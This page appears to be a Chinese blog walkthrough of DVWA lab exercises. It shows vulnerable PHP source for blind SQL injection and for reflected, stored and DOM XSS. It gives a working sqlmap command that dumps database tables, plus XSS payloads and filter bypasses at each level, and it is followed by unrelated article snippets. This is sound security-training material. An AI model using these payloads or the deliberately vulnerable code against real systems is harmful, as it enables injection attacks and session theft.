    $id = $_COOKIE[ 'id' ];  
  
    // 准备SQL查询语句,用于从users表中根据user_id查询first_name和last_name  
    // 注意:这里直接将$id拼接到SQL语句中,存在SQL注入的风险  
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";  
  
    // 执行SQL查询,使用全局变量$GLOBALS["___mysqli_ston"]作为数据库连接  
    // 注意:这里移除了'or die'部分来抑制错误消息,但这会使得错误更难被调试  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );  
  
    // 检查查询结果是否有多于0行,即是否找到了对应的用户  
    // 使用'@'来抑制错误,这同样隐藏了潜在的问题  
    $num = @mysqli_num_rows( $result );  
  
    if( $num > 0 ) {  
        // 如果找到了用户,输出反馈  
        echo '<pre>User ID exists in the database.</pre>';  
    }  
    else {  
        // 如果用户不存在,可能会随机等待一段时间(2到4秒)  
        if( rand( 0, 5 ) == 3 ) {  
            sleep( rand( 2, 4 ) );  
        }  
  
        // 发送HTTP 404状态码,表示用户未找到  
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );  
  
        // 输出用户未找到的反馈  
        // 注意:在发送header后输出内容通常不是最佳实践,因为header应该在输出任何内容之前发送  
        echo '<pre>User ID is MISSING from the database.</pre>';  
    }  
  
    // 关闭数据库连接,使用全局变量$GLOBALS["___mysqli_ston"]  
    // 注意:这里使用了三元运算符来检查关闭操作是否成功,但结果并未被使用  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
?>

这里采用了链接,双页面,可以抓包获取cookie,也可以向Low一样在Xss管卡进行爆cookie

python sqlmap.py -u "http://dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=high" --batch -D dvwa --tables --thread 10

Impossible

<?php  
  
// 检查是否有名为'Submit'的GET请求参数,这通常用于表单提交后的验证  
if( isset( $_GET[ 'Submit' ] ) ) {  
    // 检查Anti-CSRF token  
    // 这是一个自定义函数,用于验证用户提交的表单是否包含有效的CSRF token  
    // 这样做可以防止跨站请求伪造攻击  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 从GET请求中获取'id'参数  
    $id = $_GET[ 'id' ];  
  
    // 检查是否输入了数字  
    // 这是为了确保用户输入的是有效的用户ID(假设用户ID是数字)  
    if(is_numeric( $id )) {  
        // 使用PDO准备SQL查询语句,以预防SQL注入攻击  
        // 这里使用了参数化查询来绑定变量  
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );  
  
        // 绑定参数':id'到变量$id,并指定参数类型为整数  
        $data->bindParam( ':id', $id, PDO::PARAM_INT );  
  
        // 执行SQL查询  
        $data->execute();  
  
        // 检查查询结果中的行数  
        if( $data->rowCount() == 1 ) {  
            // 如果找到一行结果,说明用户ID存在于数据库中  
            // 反馈给用户  
            echo '<pre>User ID exists in the database.</pre>';  
        }  
        else {  
            // 如果没有找到用户ID,则设置HTTP状态码为404,表示未找到页面  
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );  
  
            // 反馈给用户  
            echo '<pre>User ID is MISSING from the database.</pre>';  
        }  
    }  
}  
  
// 生成一个新的Anti-CSRF token并存储在会话中  
// 这也是一个自定义函数,用于在用户会话中创建一个唯一的token  
// 这个token会在表单提交时验证,以确保表单是由合法用户提交的  
generateSessionToken();  
  
?>
  1. CSRF保护:通过检查请求中的user_token与会话中存储的session_token是否一致,来防止CSRF攻击。

  2. SQL注入预防:使用PDO的预处理语句(prepared statement)和参数化查询来防止SQL注入攻击。

  3. 输入验证:通过is_numeric()函数检查用户输入的ID是否为数字,这是一种基本的输入验证方法。

Reflected Cross Site Scripting (XSS)

Low 


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

对用户的输入没有进行任何的转义,存在XSS注入的风险非常大,直接采用script标签注入

js代码在这里执行的,不能在input标签里执行

Mediu


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {//判断name是否存在且不为空
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );//把script标签换成空

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

所以这里就不能用script标签了,可以用a,img等

High


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    //进行正则匹配
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

所以直接用a标签

payload:<a onmouseenter="alert(1)">123456</a>

Impossible


<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    //验证CSRF令牌
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
    //将name进行html实体转义
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

几乎避免了某些情况下的的XSS注入

Stored Cross Site Scripting (XSS)

Low 

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );//去除字符串左右两边的空格
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );//去掉反斜杠
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

Mediu

<?php  
  
// 检查是否通过POST方法提交了名为'btnSign'的按钮  
if( isset( $_POST[ 'btnSign' ] ) ) {  
    // 获取并修剪(去除前后空白)评论内容  
    $message = trim( $_POST[ 'mtxMessage' ] );  
    // 获取并修剪(去除前后空白)姓名  
    $name    = trim( $_POST[ 'txtName' ] );  
  
    // 清理评论内容,首先去除HTML标签,然后添加斜杠来转义特殊字符(但这一步通常与下面的mysqli_real_escape_string重复)  
    $message = strip_tags( addslashes( $message ) );  
    // 如果存在全局的mysqli连接对象,则使用mysqli_real_escape_string来转义特殊字符以防止SQL注入;否则,触发错误  
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
    // 使用htmlspecialchars来将特殊HTML字符转换为HTML实体,防止XSS攻击  
    $message = htmlspecialchars( $message );  
  
    // 清理姓名输入,简单地移除'<script>'标签(这不是一个全面的清理方法)  
    $name = str_replace( '<script>', '', $name );  
    // 类似于$message的处理,但只针对$name  
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 准备SQL查询语句,将清理后的数据插入到guestbook表的comment和name字段  
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";  
    // 执行SQL查询,如果失败则输出错误信息  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
    // 注释掉的mysql_close();函数是尝试关闭MySQL连接,但这里应该使用mysqli_close()且可能不需要因为连接可能在其他地方重用  
}  
  
?>

虽然他把message进行了html实体转义,但是没有对name进行转义,所以这注入点就在name处

但是我们又发现他把name的长度好像限制了,我们可以更改长度限制摁下F12进入开发者模式

将maxlength改为100

payload:<a onmouseover="alert(1)">123456</a>

High

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

和反射型的一样都是进行了正则匹配,所以直接采用a或者img标签即可,还是像mediu一样在name注入,更改maxlength的长度

Impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

name和message 都进行了HTML实体的转义,避免了大部分情况下的xss

DOM Based Cross Site Scripting (XSS)

Low 

发现每次选择变化URL都会变化,所以直接在构造payload

payload :http://dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>

Mediu

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {//如果存在<script就跳转到english页面
        header ("location: ?default=English");//页面重定向
        exit;
    }
}

?>

尝试<a οnmοuseοver="alert(1)">xss</a> 发现不行

发现在select标签里,果断闭合select标签

payload:default=</scelect><a onmouseover="alert(1)">xss</a>

High


<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

发现只能是那4个中的其中一个了,所以我们直接进行注释掉我们注释的代码

payload:default=English#<script>alert(1)</script>

原理:#在php代码里把后面注释掉了,所以就过了他的判断,但是在HTML中又被执行了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2120187.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【学习笔记】手写 Tomcat -- 预备知识

目录 一、新建项目 二、IO流 1. 什么是IO流&#xff1f; 2. IO的流向说明图解 3. IO 流的分类 4. 字节流 输出流 字节输出流的细节 输入流 字节输入流的细节 5. 练习 6. 字符流 输入流 字符流读取的细节 字符输入流原理解析 字符输出流原理解析 三、网络编程 …

NVIDIA GH200 超级芯片:重塑超算性能与AI基准的革新之作

Nvidia 正在将其 GH200 芯片应用于欧洲超级计算机&#xff0c;研究人员正在着手研究这些系统并发布带有性能基准的研究论文。 在第一篇论文《理解紧密耦合异构系统中的数据移动&#xff1a;以 Grace Hopper 超级芯片为例》中&#xff0c;研究人员对 GH200 的各种应用进行了基准…

vue2关闭eslint

vue2关闭eslint 1、找到项目build目录下的webpack.base.conf.js文件 2、注释createLintingRule()里面的内容&#xff08;只注释里面的内容&#xff09; 3、重启项目即可

自己动手实现mybatis的底层框架(不用动态代理直接用执行器、用动态代理自己实现。图文分析!)

目录 一.原生mybits框架图分析 自己实现Mybatis框架的分析 两种框架操作数据库的方法&#xff1a; 二.搭建开发环境 1.先创建一个maven项目 2.加入依赖(mysql dom4j junit lombok) 三.mybatis框架的设计思路 具体实现过程 3.1实现任务阶段 1- 完成读取配置文件&#x…

基于 TiDB 资源管控 + TiCDC 实现多业务融合容灾测试

导读 随着金融行业的不断发展&#xff0c;多个业务系统的整合成为了趋势&#xff0c;分布式数据库的应用也愈发广泛。为了应对多业务融合带来的复杂性&#xff0c;金融机构需要在保障各业务系统高效运行的同时&#xff0c;确保 IT 系统的高可用性和稳定性。本文将介绍 TiDB 如…

多输入多输出 | Matlab实现DBO-BP蜣螂算法优化BP神经网络多输入多输出预测

多输入多输出 | Matlab实现DBO-BP蜣螂算法优化BP神经网络多输入多输出预测 目录 多输入多输出 | Matlab实现DBO-BP蜣螂算法优化BP神经网络多输入多输出预测预测效果基本介绍程序设计往期精彩参考资料 预测效果 基本介绍 多输入多输出 | Matlab实现DBO-BP蜣螂算法优化BP神经网络…

如何选择合适的数据报表工具?

在企业的日常运营中&#xff0c;数据报表如同企业的“仪表盘”&#xff0c;为管理者提供了关键的业务信息。无论是销售数据、财务状况还是生产进度&#xff0c;都需要通过数据报表进行清晰的呈现。同时&#xff0c;随着企业对数据可视化的需求不断增加&#xff0c;数据看板和数…

Numba最近邻插值(CPU+ GPU + Z轴切块 + XYZ轴切块 + 多线程)

文章目录 最近邻插值&#xff08;加速方法&#xff09;&#xff08;1&#xff09;scipy.ndimage.zoom&#xff08;2&#xff09;Numba-CPU加速&#xff08;3&#xff09;Numba-GPU加速&#xff08;4&#xff09;Numba-CPU加速&#xff08;Z轴切块&#xff09;&#xff08;5&…

docker运行springboot项目

博客中若有侵权或者错误的地方&#xff0c;请及时告知&#xff0c;感谢。 1. 背景 在开发中使用k8s部署&#xff0c;日常也只是写个dockerFile, 没有想过整个部署流程是怎样的。今天我们自己部署docker镜像。 2.实战 2.1 建立springboot项目 (1) JAVA项目打包 (解决no mai…

Minio笔记-Centos搭建Minio

下载 Minio wget https://dl.min.io/server/minio/release/linux-amd64/minio 赋予执行权限 chmod x minio 创建存储目录 mkdir /data 运行 Minio ./minio server /data 默认端口为9000 访问 Minio 控制台&#xff1a;在浏览器中输入 http://your-server-ip:9000 默认…

FPGA Prototyping vs Emulation

FPGA Prototyping vs. Emulation One way to visualize the difference between Prototyping and Emulation is with a “spider chart” (named for its resemblance to a spider’s web). The Prototyping vs. Emulation spider chart below highlights the differences bet…

斐纳切数列考试题

计算机二级考试有一道题 result [] a,b0,1 while a<100:print(a,end,) a, b b, ab # 0,1,1,2,3,5,8,13,21,34,55,89,

LLM - 理解 多模态大语言模型 (MLLM) 的发展与相关技术 (二)

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/142063880 免责声明&#xff1a;本文来源于个人知识与公开资料&#xff0c;仅用于学术交流&#xff0c;欢迎讨论&#xff0c;不支持转载。 多模态…

idea 日志打印乱码

在这里插入图片描述 配置中改为一致

算法篇_RGB图像数据压缩与解压(单片机使用)

文章目录 一、前言二、算法选型2.1 Run-Length Encoding (RLE)2.2 Differential Pulse-Code Modulation (DPCM) 三、采用RLE算法实现图像压缩四、哈夫曼编码实现压缩和解压4.1 哈夫曼编码压缩自定义数据与还原4.2 哈夫曼编码压缩完成图像的压缩和还原 书接上回&#xff08;上一…

Java重修笔记 第五十一天 泛型

泛型 1. 对加入集合的数据类型进行约束&#xff0c;提高了安全性 2. 不用做专门的数据类型转换&#xff0c;就可以直接使用从集合取出来的对象&#xff0c;效率高 在类定义中使用泛型 1. 在类名后面跟上 <泛型列表> 表示该类所使用的使用泛型&#xff0c;具体是什么…

nginx 使用篇 配置

一、介绍 1.介绍 Nginx是一个高性能的HTTP和反向代理服务器&#xff0c;同时也是一个邮件代理服务器&#xff0c;它以稳定性、丰富的功能集、简单的配置文件和低系统资源消耗而闻名。 作为一个轻量级的服务器&#xff0c;Nginx在处理高并发连接方面表现出色&#xff0c;能够支…

怎么修复松下相机死机视频只有0字节(0KB)的MDT文件【实测可修复】

死机后视频文件大小仅为0字节 松下S5相机录像死机&#xff0c;关机重新开机后有一个视频文件变成MDT&#xff0c;大小为0KB&#xff0c;录了30多分钟&#xff0c;本应为MOV格式的视频。0字节文件可以修复吗&#xff1f;怎么修复0字节的MDT文件为视频&#xff1f; 数据提取与视…

认知杂谈55

今天分享 有人说的一段争议性的话 I I I I 内容摘要 这篇内容主要有以下要点&#xff1a;首先&#xff0c;人际交往有难度&#xff0c;要让大家都喜欢很难&#xff0c;需学习沟通技巧&#xff0c;可通过看书、关注抖音博主、参加培训班及看罗翔视频片段来提升。其次&#xf…

【C++11 ——— 类的新功能】

C11 ——— 类的新功能 类的新功能默认成员函数类成员变量初始化强制生成默认函数的关键字default禁止生成默认函数的关键字delete 类的新功能 默认成员函数 原来C类中&#xff0c;有6个默认成员函数&#xff1a; 构造函数析构函数拷贝构造函数拷贝赋值重载取地址重载const …